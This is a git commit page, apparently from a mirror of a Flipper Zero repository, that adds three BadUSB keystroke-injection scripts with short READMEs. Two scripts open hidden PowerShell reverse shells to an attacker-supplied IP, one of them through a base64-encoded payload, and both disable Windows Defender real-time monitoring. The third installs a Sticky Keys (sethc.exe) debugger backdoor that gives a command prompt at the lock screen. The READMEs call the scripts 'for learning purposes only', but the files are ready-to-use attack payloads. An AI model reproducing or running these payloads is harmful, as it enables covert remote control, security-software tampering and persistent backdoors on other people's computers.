mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 19:11:30 +00:00
Adding lost UNC0V3R3D BadUSB Collection
This commit is contained in:
UberGuidoZ
+35
@@ -0,0 +1,35 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Better reverse PowerShell. In case of problems, please open an issue.
|
||||
REM Version: 1.0
|
||||
REM Category: Remote-Access
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 560
|
||||
LEFTARROW
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING Add-Type -MemberDefinition @'[DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'@ -Name WinAPI -Namespace Win32 -PassThru;$Window=[Win32.WinAPI]::FindWindow("ConsoleWindowClass",(Get-Process -Id $PID).MainWindowTitle);$Win32.WinAPI::ShowWindow($Window,0)
|
||||
DELAY 700
|
||||
STRING ip = 'YOUR-IP HERE';
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING port = 'PORT HERE';
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING encoded_command = 'cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzx1c2VyX2RlZmluZWRfaXA+JywgPHVzZXJfZGVmaW5lZF9wb3J0Pik7JE5ldHdvcmtTdHJlYW0gPSAkVENQQ2xpZW50LkdldFN0cmVhbSgpOyRTdHJlYW1Xcml0ZXIgPSBOZXctT2JqZWN0IElPLlN0cmVhbVdyaXRlcigkTmV0d29ya1N0cmVhbSk7ZnVuY3Rpb24gV3JpdGVUb1N0cmVhbSAoJFN0cmluZykge1tieXRlW11dJHNjcmlwdDpCdWZmZXIgPSAwLi4kVENQQ2xpZW50LlJlY2VpdmVCdWZmZXJTaXplIHwgJSB7MH07JFN0cmVhbVdyaXRlci5Xcml0ZSgkU3RyaW5nICsgJ1NIRUxMPiAnKTskU3RyZWFtV3JpdGVyLkZsdXNoKCl9V3JpdGVUb1N0cmVhbSAnJzt3aGlsZSgoJEJ5dGVzUmVhZCA9ICROZXR3b3JrU3RyZWFtLlJlYWQoJEJ1ZmZlciwgMCwgJEJ1ZmZlci5MZW5ndGgpKSAtZ3QgMCkgeyRDb21tYW5kID0gKFt0ZXh0LmVuY29kaW5nXTo6VVRGOCkuR2V0U3RyaW5nKCRCdWZmZXIsIDAsICRCeXRlc1JlYWQgLSAxKTskT3V0cHV0ID0gdHJ5IHtJbnZva2UtRXhwcmVzc2lvbiAkQ29tbWFuZCAyPiYxIHwgT3V0LVN0cmluZ30gY2F0Y2ggeyRfIHwgT3V0LVN0cmluZ31Xcml0ZVRvU3RyZWFtICgkT3V0cHV0KX0kU3RyZWFtV3JpdGVyLkNsb3NlKCki'
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING -e encoded_command
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING -e JFdpbmRvdz0kV2luQVBJOjpGaW5kV2luZG93KCJDb25zb2xlV2luZG93Q2xhc3MiLChHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd1RpdGxlKTskV2luQVBJOjpTaG93V2luZG93KCRXaW5kb3csMCk=
|
||||
ENTER
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
|
||||
# Better-Rev-Shell
|
||||
|
||||
This script is for learning purposes only. I am not responsible for your actions and not going to help you setting up the scripts as I don't want to get into trouble. I do/will not support any illegal activities.
|
||||
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- x
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Creates a command prompt "backdoor" that can be launched in almost any "secure" Windows environment,
|
||||
REM (Lock Screen for example) via Sticky Keys shortcuts (Pressing shift five times) or the keyboard combination Alt+Shift+PrtScr.
|
||||
REM This then results in launching the command prompt in the same account as the current environment, i.e. SYSTEM or your user account.
|
||||
REM Version: 1.0
|
||||
REM Category: Remote_Access
|
||||
REM plug in second USB in before the Flipper
|
||||
DELAY 3000
|
||||
CONTROL ESCAPE
|
||||
DELAY 500
|
||||
STRING notepad
|
||||
DELAY 250
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING @echo off
|
||||
ENTER
|
||||
STRING :init
|
||||
ENTER
|
||||
STRING setlocal DisableDelayedExpansion
|
||||
ENTER
|
||||
STRING set cmdInvoke=1
|
||||
ENTER
|
||||
STRING set winSysFolder=System32
|
||||
ENTER
|
||||
STRING set "batchPath=%~0"
|
||||
ENTER
|
||||
STRING for %%k in (%0) do set batchName=%%~nk
|
||||
ENTER
|
||||
STRING set "TEMPVBS=%temp%\OEgetPriv_run.vbs"
|
||||
ENTER
|
||||
STRING setlocal EnableDelayedExpansion
|
||||
ENTER
|
||||
STRING :checkPrivileges
|
||||
ENTER
|
||||
STRING NET FILE 1>NUL 2>NUL
|
||||
ENTER
|
||||
STRING if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges)
|
||||
ENTER
|
||||
STRING :getPrivileges
|
||||
ENTER
|
||||
STRING if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
|
||||
ENTER
|
||||
STRING echo Set UAC = CreateObject^("Shell.Application"^) > "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING echo args = "ELEV " >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING echo For Each strArg in WScript.Arguments >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING echo args = args ^& strArg ^& " " >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING echo Next>> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING if '%cmdInvoke%'=='1' goto InvokeCmd
|
||||
ENTER
|
||||
STRING echo UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING goto ExecElevation
|
||||
ENTER
|
||||
STRING :InvokeCmd
|
||||
ENTER
|
||||
STRING echo args = "/c """ + "!batchPath!" + """ " + args >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING echo UAC.ShellExecute "%SystemRoot%\%winSysFolder%\cmd.exe", args, "", "runas", 1 >> "%TEMPVBS%"
|
||||
ENTER
|
||||
STRING :ExecElevation
|
||||
ENTER
|
||||
STRING "%SystemRoot%\%winSysFolder%\WScript.exe" "%TEMPVBS%" %*
|
||||
ENTER
|
||||
STRING exit /B
|
||||
ENTER
|
||||
STRING :gotPrivileges
|
||||
ENTER
|
||||
STRING setlocal & cd /d "%~dp0."
|
||||
ENTER
|
||||
STRING if '%1'=='ELEV' (del "%TEMPVBS%" 1>nul 2>nul & shift /1)
|
||||
ENTER
|
||||
STRING reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /ve /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f && cls && echo Payload Installed Successfully && pause && goto end
|
||||
ENTER
|
||||
STRING cls
|
||||
ENTER
|
||||
STRING echo Payload Install Failed
|
||||
ENTER
|
||||
STRING pause
|
||||
ENTER
|
||||
STRING :end
|
||||
ENTER
|
||||
STRING del /F /Q "%~0" && exit
|
||||
CONTROL s
|
||||
DELAY 500
|
||||
STRING %temp%\run.bat
|
||||
TAB
|
||||
STRING a
|
||||
ENTER
|
||||
DELAY 250
|
||||
ALT F4
|
||||
DELAY 250
|
||||
CONTROL ESCAPE
|
||||
DELAY 500
|
||||
STRING %temp%\run.bat
|
||||
ENTER
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
|
||||
# CommandLineBackdoor
|
||||
This script is for learning purposes only. I am not responsible for your actions and not going to help you with anything.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- x
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Reverse-PowerShell Windows. I am not responsible for your actions.
|
||||
REM Version: 1.0
|
||||
REM Category: Remote_Access
|
||||
DELAY 750
|
||||
GUI r
|
||||
DELAY 1000
|
||||
STRING powershell Start-Process notepad -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
ALT y
|
||||
DELAY 750
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 1000
|
||||
STRING m
|
||||
DELAY 1000
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING Add-Content “$env:TEMP\34593.ps1” ‘$c = New-Object System.Net.Sockets.TCPClient(“”,);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + “PS ” + (pwd).Path + “> “;$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()’
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING start-Process powershell.exe -windowstyle hidden “$env:TEMP\34593.ps1”
|
||||
ENTER
|
||||
STRING Remove-Item $MyINvocation.InvocationName
|
||||
ENTER
|
||||
CTRL s
|
||||
DELAY 1000
|
||||
STRING C:\Windows\config-34593.ps1
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
DELAY 750
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell Start-Process cmd -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
ALT y
|
||||
DELAY 1000
|
||||
STRING mode con:cols=14 lines=1
|
||||
ENTER
|
||||
ALT SPACE
|
||||
DELAY 750
|
||||
STRING m
|
||||
DELAY 750
|
||||
DOWNARROW
|
||||
REPEAT 100
|
||||
ENTER
|
||||
STRING powershell Set-ExecutionPolicy ‘Unrestricted’ -Scope CurrentUser -Confirm:$false
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-34593.ps1
|
||||
ENTER
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
|
||||
# ReversePowershell
|
||||
This script is for learning purposes only. I am not responsible for your actions and not going to help you setting up the scripts as I don't want to get into trouble. I do/will not support any illegal activities.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- x
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user